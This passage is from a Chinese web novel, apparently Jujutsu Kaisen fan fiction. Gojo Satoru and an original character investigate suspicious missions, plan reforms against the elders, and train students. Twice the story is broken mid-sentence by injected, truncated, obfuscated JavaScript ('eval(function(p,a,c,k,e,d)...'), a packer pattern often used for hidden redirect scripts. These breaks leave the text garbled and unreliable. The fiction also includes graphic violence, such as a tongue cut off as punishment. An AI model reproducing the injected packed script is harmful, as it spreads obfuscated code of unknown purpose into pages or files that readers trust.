绯月畏听完伊地知战战兢兢的转述,头也不抬。 “回复:根据《咒术师管理条例》第三章第七条,特级咒术师执行任务需经本人同意。我不同意。” “可、可是总监部说……” “告诉他们,”绯月畏翻过一页笔记,“我现在是五条悟的专属幕僚,工作内容是‘战略分析与情报整合’,不包括实地祓除。如果他们坚持,请提供书面调令,并附上‘为何幕僚需执行前线任务’的合理性说明。” 她顿了顿,补充道: “字数要求:不少于五千字。格式需符合《总监部公文撰写规范》。提交截止时间:三个工作日内。逾期视为放弃提议。” 伊地知:“……” 五条悟在一旁笑得直拍腿。 车在京都百年老宅前停下时,负责接应的辅助监督是个年轻女孩,脸色苍白得像纸。她递上报告的手在抖。 “五、五条先生,进去的两位……生命体征在十分钟前消失了。” 五条悟接过报告扫了一眼,啧了声。 “二级咒灵被错判为三级,支援延迟四小时——窗的基础培训该回炉重造了。” 他推开宅门。庭院里枯山水泛着冷光,空气中有极淡的血腥味,混着陈年木料的腐朽气息。 绯月畏跟进去,这次她走得很快,视线如扫描仪般扫过庭院每个角落。三十秒后,她停在走廊前,指向尽头那间和室。 “在那里。不是咒灵,是怨念凝结体——性质特化型,对咒力攻击有抗性,但对‘净化’类术式脆弱。” 五条悟挑眉:“你怎么知道?” “三点。”绯月畏竖起手指,“第一,庭院草木有被阴性能量长期侵蚀的痕迹,但无咒力腐蚀特征;第二,血迹分布呈现仪式性——不是搏斗造成,是某种献祭或召唤的残留;第三……” 她蹲下身,指尖轻触地面一片苔藓。 “这里的怨念浓度是周围的三倍,但咒力波动只有二级水平。说明主体不是咒力驱动,是‘情感’驱动——怨恨、痛苦、执念。” 五条悟的六眼快速验证她的判断,三秒后点头。 “完全正确。所以处理方式是?” “净化,不是祓除。”绯月畏站起身,“用正向能量中和负向情绪,就像用光驱散阴影。” 五条悟想了想,忽然笑了。 “那试试新招。” 他走向和室,没推门,而是抬手——掌心朝上,苍蓝咒力开始流转,但性质逐渐改变。不是攻击性的“苍”,也不是破坏性的“赫”,是某种更柔和、更接近“光”的东西。 “术式反转的进阶应用:负能量归零。”他自言自语,“理论上可行,但精度要求很高……” 咒力开始发光。温暖、洁净,像初春融雪后的第一缕阳光。光芒透过纸门渗入室内,里面传来细微的啜泣声——不是阴森的哭泣,是悲伤的、解脱的哭泣。 十分钟后,光芒消散。 五条悟推开门。和室里空无一物,只有地板上留下一小滩清澈的水渍,在月光下微微反光。 “搞定。”他转身,对绯月畏眨眨眼,“现学现卖,老师给几分?” 绯月畏看着他,墨镜后的表情看不真切。 良久,她说: “理论应用正确,能量控制精度97.3%,效果持续时间符合计算预期。评分:A+。” 五条悟的笑容僵了一瞬。 然后他笑得更开了,像个拿到满分卷子的小孩。 “A+!听到没伊地知,绯月老师给我A+!” 伊地知:“……是、是的,恭喜五条先生。” ——## 第三个任务在他们刚踏出老宅时抵达——就像算准了时间。这次是东京的废弃电车隧道,报告写着“确认为特级咒灵,已吞噬三人,咒力持续增强”。 但真正让五条悟皱眉的,是任务附件里的一行小字: 「建议:绯月特级可尝试独立处理,五条特级可从旁指导。此任务可作为绯月特级能力评估的实战测试。」 “呵。”五条悟把手机屏幕转向绯月畏,“老橘子们坐不住了,想测试你的实战能力。” 绯月畏扫了一眼。 “回复:拒绝。理由一,个人幕僚的职责不包括独立执行非雇主下发的任务;理由二,实战测试需提前申请并制定详细评估标准,目前未收到相关文件;理由三——” 她顿了顿。 “我讨厌隧道。空气不流通,噪音污染严重,且存在塌方风险。” 五条悟:“……第三个理由是真的吗?” “真的。”绯月畏合上笔记本,“我的听觉是普通人类的三十倍。隧道环境对我而言相当于把耳朵贴在电锯上。” 最终两人还是一同前往。隧道入口已被警察封锁,带队的警官看见五条悟时明显松了口气。 “五条先生,里面的东西……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她回头看向隧道深处——那里还有极淡的咒力残秽在飘散。但在她感知中,隧道中段某处,有一个不属于咒灵、也不属于五条悟的能量源,在战斗开始前三分钟启动,结束前十秒关闭。 “有人在观察你——或者我。”她说。 五条悟笑容微敛:“什么?” “这三个任务。”绯月畏拉开车门,“别墅测试你对领域的应对,老宅测试你对非常规咒灵的处理,隧道测试你在受限环境下的战斗效率。有人在观察你,五条悟——而且观察者不止一个。” 她坐进车里,在笔记本上写下最后一行: 「警告:任务序列存在人为设计痕迹。建议:提高警惕,并开始反观察。」 ——## 回到高专时已是深夜。 绯月畏在宿舍客厅摊开所有笔记,开始整理分析报告。五条悟瘫在对面的沙发上,闭着眼,但没睡着。 “累了?”她问。 “嗯。”五条悟没睁眼,“心累。不是身体,是……你知道那种感觉吗?明知道系统有问题,明知道有人在搞鬼,但还得按他们的规则玩,直到抓到足够证据。” 绯月畏笔尖顿了顿。 “那就改变规则。” “怎么改?” “从内部瓦解。”她翻开新一页,开始画组织结构图,“总监部的权力核心是长老会,长老会的权威建立在三点:任务分配权、资源调配权、以及‘窗’提供的情报垄断。” 她用红笔圈出几个节点。 “如果我们能建立另一套情报系统,比‘窗’更准确、更快速;如果能绕过总监部直接与政府或民间机构合作;如果能证明现有任务分配系统存在系统性漏洞,导致不必要的伤亡——” 她抬起头。 “那么长老会的权威就会自然崩塌。不需要暴力推翻,只需要让所有人看到:有更好的选择。” 五条悟睁开眼,苍蓝六眼在昏暗光线中亮得惊人。 “你觉得需要多久?” “数据分析与系统建模:两周。”绯月畏说得斩钉截铁,“试点运行与效果验证:一个月。全面推行与制度固化:三到六个月。” “这么快?” “因为问题太明显了。”她抽出一张图表,“看,这是过去一年咒术师任务伤亡率与任务等级的关联分析。理论上,等级越高伤亡率越高,但实际数据显示——三级任务的平均伤亡率比特级任务还高1.7个百分点。为什么?” 五条悟坐起身。 “因为特级任务几乎都是我处理,而三级任务……”他皱眉,“经常被塞给新人,或者分配给不擅长战斗的术师。” “不只如此。”绯月畏又抽出一张表,“这是任务误判率。‘窗’对咒灵等级的误判率高达34%,其中二级误判为三级的占68%——这意味着大量二级咒术师在执行本应由一级处理的任务。伤亡率自然飙升。” 她把所有图表推到他面前。 “数据已经说明一切。现在需要的,是有人把这些数据公开,并提供一个可行的替代方案。” 客厅陷入长久的沉默。 远处传来猫头鹰的叫声,夜风吹过庭院,树叶沙沙作响。 “你觉得,”五条悟忽然问,“我该从哪里开始?” “从你最擅长的。”绯月畏说,“战斗。但不止是祓除咒灵——开始记录每一次任务的详细数据:咒灵准确等级、术式特性、应对方式、消耗时间、环境影响……建立你自己的数据库。同时……” 她顿了顿。 “开始培养能接替你的人。不是一两个特级,是一整套能够高效运转的团队。指挥、情报、战斗、支援——就像军队,而不是现在这种单打独斗的侠客模式。” 五条悟盯着那些图表看了很久。 然后他笑了,笑容里有一种久违的、近乎锐利的兴奋。 “听上去……”他说,“像是要打一场真正的战争。” “改革就是战争。”绯月畏合上笔记本,“只不过战场不在现实,在规则、制度、和人心。” 她站起身走向卧室,在门口停下。 “顺便一提,明天开始,我会以‘幕僚’身份正式介入你的任务调度。总监部那边如果再有意见——” 她回头,墨镜后的嘴角极轻微地勾起。 “让他们来找我谈。我最近,正好想试试用数据怼人的感觉。” 门轻轻合上。 五条悟坐在沙发上,盯着那些图表看了很久。然后他拿出手机,拨通一个号码。 “夜蛾校长?嗯,是我。有件事想商量……对,关于高专课程改革。另外,帮我约一下政府那边的人,就说是‘关于咒术灾害防治体系优化’的提案……” 他的声音在夜色中清晰而坚定。 像第一颗推倒多米诺骨牌的手。 而牌局的那一头,无数双眼睛正盯着棋盘。 19. 反追踪 晚间,礼仪教室的灯光白得刺眼。 禅院真希推门进来时,第一眼看见的不是讲台上的绯月畏,而是坐在课桌后的五条悟——正正经经坐着,面前摊着笔记本,指尖转着笔,姿态认真得诡异。 “太阳从西边出来了?”她挑眉。 “真希同学好过分~”五条悟做捧心状,“老师我也是会认真学习的好吗?” “学什么?” “情报分析。”五条悟咧嘴笑,“这可是必修课哦。” 真希看向讲台。绯月畏正在白板上写字,姿势很特别——不是用手腕,是用整个手臂带动,每一笔都稳得像用尺子量过。写出来的字是标准的印刷体,规整得没有半点情绪泄露,就像她这个人。 课题标题:《咒术战斗中的信息差——如何利用已知推导未知》。 熊猫和狗卷陆续进来,看见五条悟时都愣了愣,但没多问,乖乖坐下。 课开始了。 绯月畏的讲课风格一如既往:冷静、高效、剔除所有冗余。她列举三个案例:一级咒术师利用地形反杀特级咒灵的实战记录;诅咒师设局坑杀总监部小队的详细复盘;以及—— “虚构案例。”她说,“假设存在一个能完全隐藏咒力波动的咒术师,他该如何在敌众我寡的情况下,完成对特定目标的刺杀?” 她转身,视线扫过台下。 “五条老师,”她点名,“如果是你,会怎么应对?” 五条悟托着下巴想了想。 “用领域。领域之内,无所遁形。” “如果对方有反领域手段?” “那就用更大的领域。”五条悟咧嘴笑,“领域对轰,力大砖飞~” 台下传来熊猫憋笑的声音。 绯月畏没笑。她在白板上写下“力量碾压”,旁边打了个问号。 “这是解法之一。”她说,“但当力量无法形成绝对优势时,就需要策略。” 她开始拆解:如何通过环境细节推断位置,如何利用假动作制造破绽,如何在交手瞬间分析术式特性…… 五条悟听得格外认真——不是平时那种浮于表面的认真,是真的在听、在记、在思考。他甚至举了两次手提问,问题都切中要害,让绯月畏多看了他两眼。 课间休息时,五条悟凑到讲台边。 “刚才那个虚构案例,”他压低声音,“绯月老师,我作为‘被刺杀目标’,能不能收点出场费?” “不能。”绯月畏擦着白板,头也不回。 “诶——好无情。” “真实世界里,”她转身,墨镜后的视线落在他脸上,“被刺杀的目标通常没有讨价还价的机会。要么活,要么死。没有中间选项。” 五条悟眨了眨眼。 “所以你是‘活’的那一派?” “我是‘不让刺杀发生’的那一派。”绯月畏放下板擦,“预防永远比应对高效。” 下课铃响,三个学生一溜烟跑了。绯月畏擦干净白板坐回讲台,旁边递来一张湿巾和一盒泡芙。 “新品,尝尝?” 绯月畏擦手,瞥了一眼——拳头大的泡芙,放大版的慕斯,饭碗大的巧克力球。她把盒子推开,俯身烧水泡茶。 “所谓的新品就是放大版?” “量大满足嘛~”五条悟捻起一颗巧克力球递过来,“这个味道真的不错。” “不收贿赂。”绯月畏翻开书,“不去就是不去。” “你又没干什么,基本都在车上待着。” “车上难道比这里舒适?”她抬头,“我为什么要去?” 五条悟凑近,挡住了灯光。 “难道就不想跟超绝大帅哥同游日本?” “咚。” 书脊敲在无下限上。绯月畏起身走向窗边。 “不想。” “绯月老师?长老?小姐?畏大人?畏女士——” 手机铃声截断了话头。 绯月畏淡定翻书,“五条老师,你该去做任务了。” 五条悟看了眼来电显示——总监部加密频道。他挂断,转而打给伊地知:“去京都本宅接两个人,让他们处理掉编号47到52的任务。”又打回本宅,安排五条家的人接手三个一级任务。 任务“下发”完毕,他赖在教室没走。 “你看,我都把活儿分出去了~现在很有空,正好可以陪你——” “滚去联系长老团。”绯月畏头也不抬,“我要你所有的任务资料,从第一次对战咒灵到现在。包括所有有咒术师死亡的任务报告。” 五条悟敲门的手收了回来。 “好吧好吧……”他长叹一声,垂头丧气地走了。 出了大楼,脚步一拐,钻进亮着灯的医务室。 “硝子——” 一支笔飞过来,撞在无下限上弹开。 “出去。”家入硝子头也不抬,正奋笔疾书病历。 “硝子,你好无情。”五条悟拖过椅子坐到窗台上,二郎腿翘起来,“夏日炎炎,只有硝子这里还有点人情味~” 硝子从白大褂里摸出棒棒糖,撕开塞进嘴里。 “你最好有正事。” 咒灵活跃期,她的工作量也翻倍。晚上上课的三个一年级,都是刚执行完任务、在医务室治疗后直接去的教室。 “硝子,”五条悟撑在窗台上,抬头看星空,“改革好麻烦啊。” 硝子嚼糖的动作顿住了。她抬起头,上上下下扫了五条悟好几眼。 “……你是怎么搞定的?” “就不能是绯月老师看到了我的魅力所在,主动帮忙吗?” 硝子伸出手指,一条一条数: “第一,从你和总监部的表现看,绯月畏家世和实力一样深不可测,且对这个世界没有多余欲望——钱权交易的前提不存在。” “第二,别说‘看上你’这种话。只要跟你相处超过一小时,我相信没有正常人受得了。” “第三,你的‘理想’,我宁愿称之为‘梦想’。梦里想想还行,执行难度堪比无图纸造火箭。” 五条悟转过头:“原来你一直不看好我?” 硝子摊手:“我是现实主义者。佩服你有这种想法并真的去执行,但从不看好结果。”她顿了顿,“我以为你很清楚。” 五条悟靠在窗框上。 “那你现在为什么不怀疑了?” “绯月畏这个人……”硝子牙疼似的抽了下嘴角,“我只见过她两次,但感觉她比你心狠得多。她一旦定下目标,绝不会在意路上死多少人。哪怕用尸骨堆桥,我觉得她也干得出来。人手不够时,把路过的无辜路人拉去凑数——她也能干。” “那你就不担心,”五条悟笑着问,“你会变成那个无辜路人?” “这理想不是你的吗?”硝子一针见血,“你要是会这么做,就不会拖到今天了。” 五条悟比了个剑指贴在额头。 “硝子,你这么懂我,我会怀疑你喜欢上我的。” “除非我瞎。” 硝子合上病历,靠上桌沿。 “五条,”她问,“你在怕什么?” 五条悟沉默了很久。 “她和我出了两天任务。”他说,“三个任务——就三个。从总监部的制度漏洞、咒灵成因、涉及的相关机构,到改革要清理哪些人、留下哪些人……她列了长长一张清单。” “你不认可?” “不,我很认可。”五条悟头疼地按太阳穴,“但问题是她跟我要‘交接团队’——我一个都拿不出来。” 硝子:“……” “五条,”她语气平静,“人家用两天干完了你六年的活儿。你真的该反思了。” “我在反思啊。” “反思结果就是你手上一个能用的人都没有?” 五条悟没说话。 他突然转头看向门口。 硝子心里咯噔一下——这场景是不是发生过? “叩叩叩。” 敲门声响起。 “嘭!”五条悟瞬移到门口拉开门,“绯月老师!”笑容灿烂得刺眼。 绯月畏还是一身白衬衫加墨镜,抬手拨开挡路的人,看向硝子。 “校长说你这里有五年内的咒术师死亡报告?” 硝子点头:“有。” 绯月畏点了下头,抽出一张纸拍给五条悟。 “全部拿过来。” 说完就走。 身影消失在拐角后,五条悟回头,对上硝子坠着黑眼圈的眼睛。 “五条仆人?”硝子挑眉。 五条悟晃了晃手里的纸:“能用的诅咒师名单。” 硝子看他的眼神充满嫌弃。 “知道你没人用,你家长老已经开始自力更生了。五条,这只会显得你更没用。” 五条悟:“……硝子,把报告给我。” “啧。” 五条悟抱着一大摞纸质资料回到教室时,绯月畏刚挂掉电话。他看着熟悉的手机壳,下意识摸口袋。 “你什么时候拿走的?” “从宿舍拿的。”绯月畏把手机丢在讲台上。 五条悟想起来了——他洗澡时放在客厅了。 他拿着手机回宿舍,刚脱外套,任务电话又来了。等他再次出门,教室里只剩绯月畏一人面对半人高的资料。 她捋起袖子,开始分类。 死亡原因与初始报告不符的,放一边;相符的,放一边;留下遗言或遗孀遗孤的,放一边;到死都没完成任务、由他人接手的,再挑出来…… 零零总总,花了一天一夜,分成七摞。 第三天上午,她抱着挑出的报告走进宿舍。 客厅一角已焕然一新——五条家的人按她要求,装上了市面上性能最好的电脑设备,屏幕、主机、外设,满满当当占据整个角落。 她回房睡了一觉。 拉开门时,电脑已被某个无良教师占据——在打游戏。而她整理好的资料,被扫乱一桌。 绯月畏:“……五条悟,在我换好衣服前,把资料复原。” 房门关上。 五条悟挂着耳机,枪战音效震耳欲聋,压根没听见。 五分钟后,绯月畏出来。客厅毫无变化。 她走上前,一脚踹过去。 破空声响起时,五条悟下意识闪避,然后“诶?”了一声摘下耳机。看见那双不遮不掩的猩红眼眸,他动作迅速——关游戏、删软件、整理纸张,一气呵成。 委屈,但不敢说。 “啪。” 绯月畏抽出两份文件丢在桌上。 “看。看完告诉我共同点。” 五条悟走过去拿起来。看到标题的瞬间,脸上轻浮褪去。他拖过椅子坐下,姿态依然悠闲,但眼神变了。 两分钟后,文件放下。 “告诉我,你看到的共同点。”绯月畏背对着他,正调取道路监控。 “任务都失败了。” 话音落下,茶几上的茶壶“咻”地飞来,撞碎在无下限上,茶水淋了一地。 “哇喔。”五条悟体会到了她的暴躁。 “还有呢?”声音更冷了。 五条悟托着下巴,反坐在椅子上。 “都有咒术师死亡。以及——”茶杯飞起时,他开口,“两次任务,最后都是杰负责收尾?” 绯月畏敲键盘的手停下,侧头看他一眼。 “一次星浆体事件,一次灰原雄死亡事件。”她又甩出一份文件,“还有小山村事件——同样是夏油杰收尾,但直接导致他叛逃。这种密集的大型事件,全发生在一年内。” 她转过来,面对他。 “你觉得这是巧合?” 五条悟没说话。 绯月畏抽出几份空白文件——那是总监部下发给她的任务,被她拒绝后由其他咒术师接手,结果每次都造成术师死亡。 “咒术界不需要两个特级。”她说,“更准确说,是总监部不需要两个特级‘干活’。” 她指向他手中的文件。 “这是三个精挑细选的任务。从目标、到‘窗’的成员、甚至通知收尾的时间——都经过精确计算。对方不仅了解你、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“特级术师绯月畏——!”一位从废墟中被刨出的老者嘶吼,和服凌乱,白发披散,“你为何在此?!” 绯月畏扫了他一眼,没说话。 在对方即将再次开口时,她竖起食指,抵在唇前。 “安静。” 两个字,轻得像叹息。 但整座庭院瞬间鸦雀无声。只有废墟下隐约的呻吟和求救声,闷闷地传来。 绯月畏侧耳听了听,抬手——堆叠的木板无声掀起,露出底下脸朝下趴着的人影。下一瞬,她已出现在那人正上方,垂眸看了一眼,然后转头看向越聚越多的人群。 “他什么时候死的?” “什么?!” 一片哗然。总监部的老橘子们充分发挥了“只听自己想听的”优良传统——他们只在乎“死了”,以及“谁死了”。 “绯月畏!你无故戕害总监部重臣——”话音戛然而止。 说话的老者僵在原地,嘴巴还张着,却发不出声音。他惊恐地摸向自己的嘴,指尖触到温热的液体——血,正从嘴角涌出。 绯月畏飘了个眼神过去。 “你刚才,直呼了我的名字。”她语气平淡,“舌头留着碍事,扔了吧。” “啪嗒。” 一截舌头混着血掉在地上。 庭院死寂。所有想惊呼的人死死捂住嘴,脸色惨白。 ——魔鬼。 绯月畏落地,走向那具尸体。一脚踹翻——脸朝上,脸色青黑,双眼浑浊,肢体僵硬。 她看向人群。 “他什么时候死的?没人说,我就一个个‘问’了。” 瘫坐在地的一位妇人颤抖着举手,眼泪直流:“没、没有……晚上睡前,大人还用过饭,那会儿还活着的……” “晚饭?几点?” “六、六点……” 绯月畏抬脚,又踹了尸体一下。妇人跟着一抖。 她抬起头,墨镜反射着冷白的月光,映在每个人瞪大的瞳孔里。 “你对着一具死了至少两天的尸体,告诉我他八小时前还在吃饭?”她声音很轻,却字字砸进人心,“吃什么?福尔马林吗?” 妇人哇地哭出来:“可、可是大人他真的吃了啊……” 人群死寂。 该先惊恐哪一个?是死人复活吃饭,还是这位特级砸了房子、割了舌头、还能一眼看出死亡时间? 绯月畏在地上碾了碾鞋尖。 “我不管是他自己干的,还是受人指使被灭口。”她开口,声音清晰传遍庭院,“这话只说一次:谁再敢跟踪、监视、调查我——” 她顿了顿,目光扫过每一张脸。 “记得提前给自己买好棺材。” 话音落下,她的身影如浸入月色般,逐渐淡去、消散。 只留下那句话,在夜风中回荡。 一小时后,咒术师论坛炸了。 「爆:绯月特级夜袭加茂别院,主屋塌了,人死了,舌头割了。」 「所以她是发现自己被监视,反追踪过去,把人家房子砸了?」 「死的是谁?死了多久?重要吗?反正绯月特级说是两天,那就是两天。」 「传下去:比五条悟还记仇的人出现了。」 「再传:她杀人还帮你验尸,贴心。」 五条悟刷着论坛,笑倒在沙发上。 手机震动,来电显示:夜蛾正道。 他接起来。 “悟,”夜蛾的声音很沉,“总监部紧急会议,关于绯月畏‘无故攻击高层宅邸’的事。你来一趟。” “好哦~”五条悟站起身,伸了个懒腰,“正好,我也有事要找他们聊聊。” 比如,为什么会有高层派人跟踪特级术师。 比如,那具“死了两天”的尸体,到底是怎么回事。 比如—— 他笑着走向门口。 ——这场游戏,该换个玩法了。 月色笼在黑色制服上,流光都黯淡。 20. 所谓特级 总监部的问责在五条悟离开学校的那一刻发到了手机上。 但手机响了一声后根本没人看——大白天的,绯月畏在补觉。 手机被丢在客厅茶几上,电量所剩无几,在连续震动几次后彻底关机。直到下午三点,卧室门才被推开。绯月畏穿着睡袍走出来,目光下意识地扫过玄关,然后折返洗漱。等她换上一身白色便服、戴上墨镜拉开门时,门口蹲着三个身影。 熊猫、狗卷棘、禅院真希排成一排,齐刷刷抬头看她。 “在干什么?”绯月畏问。 熊猫举起毛茸茸的爪子——他总是一年级三人组的发言代表:“悟旷了一下午的课,夜蛾校长也不知道去哪了……所以我们想来问问。” 绯月畏沉默两秒,说:“去教室等着。” 门关上了。 两人一熊猫面面相觑,慢吞吞往回走。等真希最后一个在教室坐下,她突然站了起来。 “等等,”真希表情复杂,“绯月老师说的‘教室’……是指这里吗?” 三人对视,同时拍了下额头。 五分钟后,他们站在了走廊尽头的礼仪教室门口。 熊猫推开门深吸一口气:“又多了一个书架。” 禅院真希看着占据大半个教室的书架群——那些深色木质书架从地板顶到天花板,密密麻麻塞满了书脊各异的典籍。这里的藏书量已经堪比中型书店。 “这里现在有多少书了?”真希问。 熊猫看了眼空荡荡的走廊:“反正老师还没来,要不我们数数?” 狗卷棘竖起拇指,拉高了衣领——这是同意的意思。 于是三个人分头钻进书架间。等到绯月畏抱着几本新书走进教室时,一个人影都没看见。她将一本厚重的硬壳书夹在腋下,其余放在讲台上,然后坐下翻开那本书,无声阅读。 书架间传来低低的计数声。 “这边哲学类152本……” “咒术史区287本……等等这排算过了吗?” “文学区好多外国原版……” 等三人终于在中央过道汇合,把数字相加后得出结果:礼仪教室目前藏书966本,涵盖咒术理论、历史、哲学、文学乃至自然科学,分类之系统堪比专业图书馆。 狗卷棘一抬头,看见了讲台后的墨镜。 他拉了拉真希的袖子,又戳戳熊猫。三人迅速站好,垂首安静下来。 绯月畏这才抬起头,左手依旧托着那本翻开一半的书,右手从口袋里取出电量不足10%的手机,瞥了一眼:“学校教职工都去开会了。” 三人很想问“那您怎么没去”,但想起论坛上看过的那些关于“绯月特级”的传闻,又把话咽了回去。 “按照课表,你们今天下午最后一节课是什么?” 真希答道:“实战课,五条老师的。” “他一般怎么上?” 三人交换眼神,都有了不祥的预感。 “就……去操场,对练。”熊猫艰难地说。 绯月畏点了下头,合上书站起身:“那就去操场。我跟你们练练。” 三个人纷纷哽咽,一时心情复杂。他们从没见过绯月畏出手,都说她有特级的实力,但是朝夕相处的他们却从来没见过对方动手的样子,要不是从五条悟那里侧面了解到他的当初打了一架还是平手之后,他们甚至可能会怀疑说绯月老师特级这件事是总监部在碰瓷。 十分钟后,高专露天操场。 夏末的风还算凉爽,绯月畏一身白衣站在操场中央,左手依然托着那本厚书。她甚至没有把书放在场边的打算。 “我翻过五条悟的教案,”绯月畏淡淡地说,“没一句有用的。不过从记录来看,他的实战课就是单纯揍你们,对吧?” 三人沉默。熊猫抹了把脸:“这么说……也算?” “那就体术,纯肉搏战。”绯月畏扫过三个学生,“不准用咒术,不准用咒力强化,纯身体对抗。你们一起上。” 真希最先动了。 她双手虚握成拳,脚下弓步前压,重心下沉——这是标准的起手势,眼神锐利如刀。见她认真,熊猫和狗卷棘迅速向两侧散开,三人呈三角站位将绯月畏围在中心。 没有信号,但某种默契让他们同时动了。 真希正面突进,步法快而稳,一拳直冲面门;熊猫从左侧压上,毛茸茸的拳头带起沉闷风声;狗卷棘则在右侧迂回,没有使用咒言的打算——他知道在纯体术课上那没意义,而是选择寻找破绽准备切入。 三人合击,封死了所有常规闪避角度。 绯月畏没动,只是将书从左手换到右手。 就在攻击即将临身的瞬间——她动了。 不是消失,而是快得超出了三人的动态视力捕捉范围。真希的拳头穿过残影,熊猫的扑击落空,狗卷棘的切入点变成了空地。 然后他们看见了绯月畏的动作分解。 她只是侧身,让真希的拳头擦着胸前衣料而过,同时右手握着的书在真希肘关节外侧轻轻一磕。就这看似随意的一击,让真希整个人失去平衡,前冲的力道带着她撞向熊猫。 熊猫急忙收拳想接住真希,绯月畏的右脚却已点在他膝盖侧面——不是重击,只是恰到好处的力道让他单膝一软。而这时狗卷棘刚好切入,绯月畏左手上托,书脊精准抵在他锁骨上方,一股酸麻感瞬间传遍半边身体。 “砰!” 三人撞成一团倒在五米外,抬头时,绯月畏已经站在十米开外,手上的书依旧稳稳托着,仿佛从未移动过。 “太慢了。”她的评价平静到残酷,“让你们一起上,就真的毫无配合地冲上来?1+1+1应该大于3,但你们刚才加起来连1都不到。” 熊猫吐出嘴里的草:“好快……根本看不清动作。” “不是快,是你们的攻击意图太明显。”绯月畏说,“真希冲拳时肩膀先动,熊猫挥拳前会重心后移,狗卷切入时视线会锁定目标点半秒——全是破绽。” 三人爬起来,交换眼神。这次他们没急着进攻。 熊猫率先踏步上前,双臂张开,像一堵移动的墙压向绯月畏——他在制造压迫,为同伴创造机会。真希几乎同时从熊猫身侧闪出,一记低位扫腿攻向下盘。狗卷棘则绕到绯月畏视线死角,准备在她应对前两人时发动突袭。 很聪明的配合。 绯月畏动了。 她向前一步,不是后退,而是迎向熊猫。在即将撞上的瞬间,她身体一矮,从熊猫腋下穿过,同时手肘在他肋侧轻轻一顶。熊猫庞大的身体不由自主地向左偏转,刚好挡住了真希的扫腿路径。 “呜啊!”真希的腿踢在熊猫小腿上。 而这时狗卷棘的突袭已到——他算准了绯月畏穿过熊猫后的位置,一拳直击后心。但绯月畏像是背后长眼,身体以不可思议的角度扭转,不但避开了这一拳,还顺势用书脊在狗卷棘手腕上一敲。 狗卷棘整个人后退三步,手腕发麻。 “战术意识不错,”绯月畏看向他,“但太依赖预判。战斗中,对手不会按你的剧本走。” “继续。” 接下来的对练过程,成了单方面的教学战。 绯月畏始终单手托书,仅用另一只手和双腿应对。她像在拆解三个不匹配的齿轮:用书引导真希的攻击落在熊猫身上,又用脚步移动逼退狗卷棘的切入路线,再用身体的微小位移限制真希的行动空间。她每一次移动都精准得可怕,每一次接触都恰到好处——不造成重伤,却让三人一次次体会到自己的无力。 每一次交手都在暴露问题: 熊猫的拳头势大力沉,但转折笨拙;真希的攻击凌厉,但收不住力道;狗卷棘的战术意识最好,却缺乏决定性的攻击手段。 而最严重的问题,在第十分钟爆发了。 那时真希已经气喘吁吁,汗水浸湿了她的训练服。又一次攻击被轻易化解后,她眼中闪过一丝烦躁。 下一轮进攻,她不再保留。 拳风裹挟着咒力——虽然微弱,但确实存在。她一脚蹬地,整个人如炮弹般冲向绯月畏,拳头直击胸口。 绯月畏侧身,抬手,不是格挡,而是轻描淡写地在她手肘一托。 “咔嚓。” 真希的拳头不受控制地转向,狠狠砸在了从侧面冲来的熊猫脸上。 “嗷!”熊猫捂脸后退。 真希一愣,但动作没停,顺势旋身一记后踢——绯月畏只是轻轻一推她的腰。 这一脚结结实实踢在了刚要上前支援的狗卷棘大腿上。 “木鱼花!”(好痛!) 狗卷棘踉跄后退,真希却已经红了眼。她不管不顾,追击而上,拳脚带起的风压越来越重,咒力在无意识中覆在了拳头上。 熊猫一次次被推到她攻击路径上,一次次硬抗。毛茸茸的身体上开始出现破损,棉絮飘了出来。 场内,绯月畏终于不再引导。 她单手接住真希全力一击,五指收紧—— “咔嚓。” 腕骨错位的声音清晰可闻。 真希闷哼一声,另一只手仍不死心地抓向绯月畏衣襟。“刺啦——”布料撕裂声响起。 但撕裂的不是白衣。 是突然被绯月畏拉到身前的狗卷棘的外袍。 黑色布料在风中飘荡,狗卷棘僵在原地,里面的衬衣和嘴角的咒印完全暴露。他默默拉拢残破的外袍,脸涨得通红。 “禅院真希同学,”绯月畏的声音冷了下来,“撕扯对手衣物确实是有效手段,但你还记得你的对手是位女士吗?” 真希喘着粗气,盯着自己手里属于同学的布料碎片:“只要结果有用……” “所以结果是,”绯月畏松开她的手腕,“你淘汰了一位队友。狗卷棘,下场。” 狗卷棘垂头丧气走向场边。真希这才反应过来自己做了什么,但脸上没有愧疚,只有愤怒——气自己撕错了人,气自己又一次被戏弄。 绯月畏墨镜后的红瞳微微眯起。 她想起五条悟某次闲聊时说的话:“咒术师啊,多多少少都有点疯。” 现在看来,这些学生也不例外。 狗卷棘顿时垂头丧气地往操场边走去,绯月畏抬头看向禅院真希,道:“继续。” 战斗继续,但变成了单挑。 更准确地说,是单方面的压制。 绯月畏不再留手,每一次交手都精准打击真希的破绽:重心过高时扫她的支撑腿,发力过猛时借力打力,不留余地时直接破招反击……真希像破布娃娃一样被摔打,四肢关节一次次承受冲击。 在场上时视角受限,当局者迷,但是当退下后,狗卷棘将这一切看得一清二楚。看着真希在一次次将拳头和巴掌落到熊猫身上后眉头皱了起来。 真希学不会收力。 但是熊猫的防御远比狗卷棘和他的衣裳高多了。真希的攻击落下去后只会在伤到同学的同时造成自伤的结果。而狗卷棘赶到头疼的是,绯月老师的做法很明显是为了引导真希学会控制,真希非但没有领会和做到,甚至力道一次次踩着身体的极限,一次比一次更重。 到最后,打出了火气的禅院真希已经在攻击上裹上了咒力,绯月老师一次次把熊猫从散架的边缘踹开。 围观的狗卷棘都看出了火气。 真希过火了。 这不是对练,甚至不是战斗,这是她纯粹的发泄。 但她就是不认输。 第二十分钟,绯月畏一脚踹在熊猫胸口——不是攻击,而是把他踹出战圈。 “熊猫,下场。” 熊猫飞出去十米远,刚好落在狗卷棘旁边,两人排排坐,看着场内。 “被打得好惨呐——”耳边悠悠的叹息。 狗卷棘点头:“鲑鱼。”(是的) “悟都没这么打过我们吧?”熊猫捂了捂胸口。 “木鱼花。”(好像没有) “好像是诶?” 